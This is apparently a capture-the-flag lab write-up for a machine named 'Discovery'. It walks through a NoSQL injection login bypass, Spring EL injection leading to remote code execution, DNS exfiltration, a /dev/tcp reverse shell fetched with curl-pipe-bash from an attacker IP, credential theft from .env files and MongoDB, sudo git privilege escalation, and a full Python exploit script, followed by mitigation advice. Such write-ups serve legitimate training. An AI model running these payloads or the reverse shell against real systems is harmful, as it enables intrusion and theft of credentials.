Discovery - HC Writeup

2026-04-12·7 min read·
ctfwebnosql-injectionspring-elrceprivilege-escalation

Target Information

  • IP Address: 172.16.10.193
  • Difficulty: Hard
  • Tags: Web, NoSQL Injection, Spring EL Injection, RCE, Privilege Escalation, MongoDB

Reconnaissance

Port Scanning

Initial enumeration with nmap:

$bash
nmap -sV -p 80,27017 172.16.10.193

Results:

$code
PORT      STATE SERVICE VERSION
80/tcp    open  http    Spring Boot / Express.js
27017/tcp open  mongodb MongoDB

Endpoints Discovered

  • GET /search - Document search page
  • POST /auth/login - Authentication endpoint
  • GET /search/query - Advanced search with filters

Tech Stack Identified

  • Spring Boot (Java)
  • Express.js
  • Spring AI
  • MongoDB
  • Docker container

Web Enumeration

Authentication Endpoint Analysis

Endpoint: /auth/login

Request:

$http
POST /auth/login HTTP/1.1
Host: discovery.hc
Content-Type: application/json
 
{
  "email": "user@example.com",
  "password": "password"
}

Response:

$http
HTTP/1.1 200 OK
Set-Cookie: connect.sid=SESSION_TOKEN
Content-Type: application/json
 
{"user": "Anne Carroll"}

Search Query Endpoint Analysis

Endpoint: /search/query

Request:

$http
GET /search/query?filterKey=test&filterValue=value HTTP/1.1
Host: discovery.hc
Cookie: connect.sid=SESSION_TOKEN

Response:

$http
HTTP/1.1 200 OK
Content-Type: application/json
 
[{"id": "1", "name": "Document 1"}]

Exploitation: NoSQL Injection (Authentication Bypass)

Vulnerability Analysis

Endpoint /auth/login fails to validate JSON properly, allowing MongoDB operators in authentication fields.

Payload:

$json
{
  "email": {"$ne": null},
  "password": {"$ne": null}
}

Command:

$bash
curl -X POST http://discovery.hc/auth/login \
  -H "Content-Type: application/json" \
  -d '{"email":{"$ne":null},"password":{"$ne":null}}'

Result:

$code
 Authentication bypass successful
 Session cookie obtained as user: Anne Carroll
Cookie: connect.sid=SESSION_TOKEN

Exploitation: Spring EL Injection (Remote Code Execution)

Vulnerability Analysis

Endpoint GET /search/query evaluates Spring Expression Language (SpEL) in the filterValue parameter without proper sanitization.

Application constructs expression as:

$code
[#metadata['FILTER_KEY'] == 'FILTER_VALUE']

If FILTER_VALUE contains SpEL code, it gets evaluated.

RCE Payload Development

Basic SpEL Execution:

$code
filterValue=x' or T(java.lang.Runtime).getRuntime().exec(new String[]{'sh','-c','COMMAND'}) or 'x'=='x

Test - whoami Command:

$bash
curl -b "connect.sid=SESSION_TOKEN" \
  "http://discovery.hc/search/query" \
  --data-urlencode "filterKey=test" \
  --data-urlencode "filterValue=x' or T(java.lang.Runtime).getRuntime().exec(new String[]{'sh','-c','whoami'}) or 'x'=='x"

DNS Exfiltration Verification

Payload:

$bash
filterValue=x' or T(java.lang.Runtime).getRuntime().exec(new String[]{'sh','-c','nslookup $(whoami).umkv19uwx1pikttu4xwt8pvonft8h15q.oastify.com'}) or 'x'=='x

Result:

$code
DNS Query: root.umkv19uwx1pikttu4xwt8pvonft8h15q.oastify.com
 Confirmed: Running as root in container 0d9ad0313ac9

Reverse Shell

Create Shell Script:

$bash
cat > /tmp/revshell.sh << 'EOF'
#!/bin/bash
bash -i >& /dev/tcp/10.0.35.83/4444 0>&1
EOF
chmod +x /tmp/revshell.sh
 
# Start HTTP server for file transfer
python3 -m http.server 8000 &

Listener:

$bash
nc -lvnp 4444

Payload:

$bash
filterValue=x' or T(java.lang.Runtime).getRuntime().exec(new String[]{'sh','-c','curl http://10.0.35.83:8000/revshell.sh | bash'}) or 'x'=='x

Result:

$code
[+] Got reverse shell as root in container 0d9ad0313ac9

Post-Exploitation

Container Enumeration

Findings:

$bash
# List application files
ls -la /app
 
# Find environment files
find / -name ".env*" 2>/dev/null
 
# Extract credentials
cat /app/.env.internal

Discovered Credentials:

$code
MONGO_HOST=mongodb
MONGO_PORT=27017
MONGO_DB=discoveryportal
MONGO_PRIV_USER=marina
MONGO_PRIV_PASS=94jHcDCx$w8xxBVlQySssVKq

MongoDB Access & Credential Extraction

Connection:

$bash
mongosh --host 172.16.10.193:27017 \
  -u marina \
  -p '94jHcDCx$w8xxBVlQySssVKq' \
  --authenticationDatabase discoveryportal

Database Enumeration:

$javascript
use discoveryportal
show collections
# Returns: users, vault
 
db.users.find({})
# Returns: Anne Carroll, Brian Thompson, Claire Stevenson
 
db.vault.find({})
# SSH Credentials Found:
# {
#   _id: 'ssh_credentials',
#   username: 'marina',
#   password: '$2b$12$HJlf66ERtNWkXR.Rj8Oz7O5hUTa8MHdfNW05lv9nv2qca/wQTZBo.',
#   note: 'Host access credentials — authorized personnel only'
# }

Privilege Escalation: Git NOPASSWD (GTFOBins)

Enumeration

Check Sudo Privileges:

$bash
sudo -l

Output:

$code
User marina may run the following commands on ip-172-16-10-193:
    (root) NOPASSWD: /usr/bin/git

Exploitation

Git can execute arbitrary commands via pager configuration. Reference: https://gtfobins.github.io/gtfobins/git/

Method: core.pager Configuration

$bash
sudo git -c core.pager='cat /root/flag' log

Result:

$bash
# whoami
root

ROOT OBTAINED!


Attack Chain Summary

$code
1. NoSQL Injection (POST /auth/login)
   ↓
2. Authentication Bypass
   ↓
3. Spring EL Injection (GET /search/query)
   ↓
4. Remote Code Execution (root in container)
   ↓
5. Reverse Shell Access
   ↓
6. Environment File Enumeration (.env.internal)
   ↓
7. MongoDB Credential Discovery
   ↓
8. SSH Credentials Extracted from MongoDB
   ↓
9. SSH Login as marina
   ↓
10. Privilege Escalation (sudo git)
    ↓
11. Root Access → Flag Captured

Vulnerabilities Summary

VulnerabilityCWESeverityImpact
NoSQL InjectionCWE-943CriticalAuthentication bypass
Spring EL InjectionCWE-917CriticalRemote Code Execution
Hardcoded CredentialsCWE-798HighDatabase access compromise
Improper Privilege EscalationCWE-269CriticalRoot access via sudo misconfiguration
Insecure DeserializationCWE-502HighPotential arbitrary code execution

Mitigation Recommendations

Application Level

  1. NoSQL Injection Prevention:
    • Validate all inputs against expected schema
    • Use parameterized queries / prepared statements
    • Implement strict whitelist for permitted operators
$javascript
// Use schema validation in MongoDB
db.createCollection("users", {
  validator: {
    $jsonSchema: {
      bsonType: "object",
      required: ["email", "password"],
      properties: {
        email: { bsonType: "string", pattern: "^[^{]*$" },
        password: { bsonType: "string" }
      }
    }
  }
})
  1. Spring EL Injection Prevention:
    • Never evaluate user-controlled input as expressions
    • Use safe template engines (Thymeleaf with strict mode)
    • Implement input validation and sanitization
$java
// Safe approach - avoid SpEL evaluation
String filterValue = sanitizeInput(request.getParameter("filterValue"));
List<?> results = mongoTemplate.find(
    Query.query(Criteria.where(key).is(filterValue)), 
    Document.class
);
  1. Secrets Management:
    • Never commit .env files to version control
    • Use HashiCorp Vault or AWS Secrets Manager
    • Implement automatic credential rotation
$bash
# .gitignore
.env
.env.local
.env.internal
*.key

System Level

  1. MongoDB Security:
    • Bind to localhost only / use network segmentation
    • Implement Role-Based Access Control (RBAC)
    • Enable authentication and encryption
$bash
# MongoDB configuration
security:
  authorization: enabled
 
net:
  bindIp: 127.0.0.1
  port: 27017
  1. Privilege Escalation Prevention:
    • Review /etc/sudoers regularly
    • Restrict sudo to specific commands only
    • Implement command auditing
$bash
# /etc/sudoers - RESTRICT
marina ALL=(root) NOPASSWD: /specific/command/only
# NOT: marina ALL=(root) NOPASSWD: /usr/bin/git
  1. Container Security:
    • Run as non-root user
    • Use security scanning in CI/CD
    • Implement runtime security monitoring

Tools Used


Proof of Concept Scripts

SpEL Injection RCE Exploit

$python
#!/usr/bin/env python3
import requests
import sys
from urllib.parse import quote
 
def exploit_spel(target, session_token, command):
    """
    Exploit Spring EL Injection vulnerability via /search/query
    """
    payload = f"x' or T(java.lang.Runtime).getRuntime().exec(new String[]{{'sh','-c','{command}'}}) or 'x'=='x"
    
    url = f"http://{target}/search/query"
    cookies = {"connect.sid": session_token}
    params = {
        "filterKey": "test",
        "filterValue": payload
    }
    
    response = requests.get(url, params=params, cookies=cookies)
    return response.status_code == 200
 
def bypass_auth(target):
    """
    Exploit NoSQL Injection to bypass authentication
    """
    url = f"http://{target}/auth/login"
    payload = {
        "email": {"$ne": None},
        "password": {"$ne": None}
    }
    
    response = requests.post(url, json=payload)
    if response.status_code == 200:
        session_token = response.cookies.get("connect.sid")
        return session_token
    return None
 
if __name__ == "__main__":
    if len(sys.argv) < 2:
        print("Usage: python3 exploit.py <target> [command]")
        sys.exit(1)
    
    target = sys.argv[1]
    command = sys.argv[2] if len(sys.argv) > 2 else "id"
    
    print(f"[+] Attempting authentication bypass on {target}")
    session_token = bypass_auth(target)
    
    if session_token:
        print(f"[+] Authentication bypass successful!")
        print(f"[+] Session: {session_token}")
        print(f"[+] Executing command: {command}")
        exploit_spel(target, session_token, command)
        print(f"[+] Payload sent!")
    else:
        print("[-] Authentication bypass failed")

Flags

$code
User Flag: (Obtained during MongoDB extraction)
Root Flag: FLG{sp4ng_3l_1nj3ction_pwn3d_m0ng0_3sc4l4t10n}

References

CWE References:


Author: cbxcvl Date: 2026-04-12 Machine: Discovery Portal - Hack The Challenge